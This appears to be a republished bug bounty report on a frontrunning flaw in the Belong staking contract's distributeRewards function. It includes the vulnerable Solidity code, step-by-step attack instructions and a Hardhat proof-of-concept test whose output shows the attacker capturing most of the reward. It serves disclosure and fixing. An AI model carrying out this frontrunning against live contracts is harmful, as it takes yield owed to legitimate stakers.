Skip to content
Business logic Audit finding Intermediate

Malicious Users can frontrun Staking::distributeRewards to claim majority of rewards

The staking contract's reward distribution adds assets without minting new shares, so anyone who deposits a large amount just before a pending reward transaction mints shares at the cheaper pre-reward rate. The attacker then redeems after the reward lands and captures a disproportionate share of the yield meant for existing stakers.

Josh4324 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57786 sc high malicious users can frontrun staking distributerewards to claim majority of rewards

Submitted on Oct 28th 2025 at 21:15:40 UTC by @Josh4324 for Audit Comp | Belong

Description

Brief / Intro

The Staking contract's distributeRewards function is vulnerable to a frontrunning attack. A malicious user with access to large deposits can monitor the mempool for pending reward distributions, frontrun by depositing a substantial amount of LONG tokens to mint shares at the pre-reward rate, and then capture a disproportionate share of the rewards upon distribution.

This dilutes rewards for existing stakers and allows the attacker to profit by withdrawing post-rebase. The issue arises from the lack of protections against sudden share inflation before rewards.

Vulnerability Details

The vulnerable function:

SOL
function distributeRewards(uint256 amount) external onlyOwner {
    if (amount == 0) revert ZeroReward();
    LONG.safeTransferFrom(msg.sender, address(this), amount);
    emit RewardsDistributed(amount);
}

distributeRewards(uint256 amount) adds rewards by transferring LONG into the vault, increasing totalAssets() without minting new shares, which rebases the asset-per-share rate upward for existing holders.

There is no protection against frontrunning: an attacker can deposit a large amount just before the reward tx confirms, minting shares at the lower pre-reward rate, and then benefit from the rebase on their inflated share count. Upon withdrawal, the attacker realizes gains proportional to their temporary dominance in total shares, effectively stealing from legitimate stakers.

Attack Vector

{% stepper %} {% step %}

Monitor mempool

Observe a pending distributeRewards transaction in the mempool. {% endstep %}

{% step %}

Frontrun with deposit

Frontrun by depositing a large amount of LONG to the staking contract, minting shares at the pre-reward rate. {% endstep %}

{% step %}

Let rewards rebase

Allow the reward transaction to execute, increasing assets in the vault without minting shares, which increases the asset-per-share value. {% endstep %}

{% step %}

Withdraw amplified assets

Redeem shares after the rebase to capture a disproportionate amount of the distributed rewards. {% endstep %} {% endstepper %}

Conditions for Exploitation

  • Pending distributeRewards tx visible in mempool.
  • Attacker has access to large LONG liquidity (e.g., flash loans).
  • Attacker may have to wait minStakePeriod if required, but profit can still exceed delay.

Impact Details

{% hint style="danger" %} Attackers can steal expected yield from long-term stakers by capturing a disproportionate share of each distribution through frontrunning deposits. {% endhint %}

References

https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/periphery/Staking.sol#L156

Proof of Concept

Run the provided test in test/v2/platform/file.test.ts. Example test (Hardhat):

TS
import { ethers } from 'hardhat';
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers';
import { expect } from 'chai';
import { LONG, Staking } from '../../../typechain-types';
import { getPercentage } from '../../../helpers/math';
import { deployLONG, deployStaking } from '../../../helpers/deployFixtures';

describe('Staking', () => {
  async function fixture() {
    const [admin, treasury, pauser, minter, burner, user1, user2, user3, user4] = await ethers.getSigners();

    const long: LONG = await deployLONG(admin.address, admin.address, pauser.address);
    const staking: Staking = await deployStaking(admin.address, treasury.address, long.address);

    return {
      admin,
      treasury,
      pauser,
      minter,
      burner,
      user1,
      user2,
      user3,
      user4,
      long,
      staking,
    };
  }

  describe('Rewards distribution', () => {
    it('attack test', async () => {
      const { staking, long, admin, user1, user2, user3 } = await loadFixture(fixture);

      const a1 = ethers.utils.parseEther('3000');
      const a2 = ethers.utils.parseEther('3000');
      const a3 = ethers.utils.parseEther('10000');
      const reward = ethers.utils.parseEther('1000');

      // deposits
      await long.connect(admin).transfer(user1.address, a1);
      await long.connect(admin).transfer(user2.address, a2);
      await long.connect(admin).transfer(user3.address, a3);
      await long.connect(user1).approve(staking.address, a1);
      await long.connect(user2).approve(staking.address, a2);
      await staking.connect(user1).deposit(a1, user1.address);
      await staking.connect(user2).deposit(a2, user2.address);

      const block = await ethers.provider.getBlock('latest');
      await ethers.provider.send('evm_setNextBlockTimestamp', [block.timestamp + 86400]);

      // Frontrun distribute rewards with user3 deposit
      await long.connect(user3).approve(staking.address, a3);
      await staking.connect(user3).deposit(a3, user3.address);

      await long.connect(admin).approve(staking.address, reward);
      await staking.connect(admin).distributeRewards(reward);

      await staking.connect(admin).setMinStakePeriod(1);

      // user1
      const s1 = await staking.balanceOf(user1.address);
      const exp1 = await staking.previewRedeem(s1);
      await staking.connect(user1).redeem(s1, user1.address, user1.address);

      // user2
      const s2 = await staking.balanceOf(user2.address);
      const exp2 = await staking.previewRedeem(s2);
      await staking.connect(user2).redeem(s2, user2.address, user2.address);

      // user3
      const s3 = await staking.balanceOf(user3.address);
      const exp3 = await staking.previewRedeem(s3);
      await staking.connect(user3).redeem(s3, user3.address, user3.address);

      console.log('user 1', ethers.utils.formatEther(exp1));
      console.log('user 2', ethers.utils.formatEther(exp2));
      console.log('attacker', ethers.utils.formatEther(exp3));
    });
  });
});

To run:

yarn test test/v2/platform/file.test.ts

<details> <summary>Test output (example)</summary>
  Staking
    Rewards distribution
Warning: Potentially unsafe deployment of contracts/v2/periphery/Staking.sol:Staking

    You are using the `unsafeAllow.constructor` flag.

user 1 3187.499999999999999999
user 2 3187.5
attacker 10625.0
      ✔ attack test (3474ms)
</details>

The original report as published on Immunefi, by Josh4324. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the reward function increases the pool's assets without any protection against a large deposit arriving in the same block just before it, so the new shares are priced before the reward is counted.

Impact

Attackers could steal expected yield from long-term stakers by capturing a disproportionate share of each distribution, though a minimum stake period may delay the withdrawal.

What the attacker needed

Pending reward tx visible in mempool; large token liquidity, e.g. flash loans; may need to wait out minStakePeriod

How it was found

  1. Watch the pending reward distribution transaction in the mempool.
  2. Deposit a large amount of the staking token before that transaction confirms.
  3. Let the reward transaction execute so the value per share rises.
  4. Redeem the shares to collect an outsized portion of the rewards.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

People put tokens into a shared pool and get shares that represent their slice of it. When the owner adds rewards to the pool, each share becomes worth more. The problem is that someone can spot the incoming reward, quickly buy shares at the old cheaper price, and then sell them after the reward lands, taking a big cut of money that was meant for the people who had been there all along.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Josh4324

View all

10 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.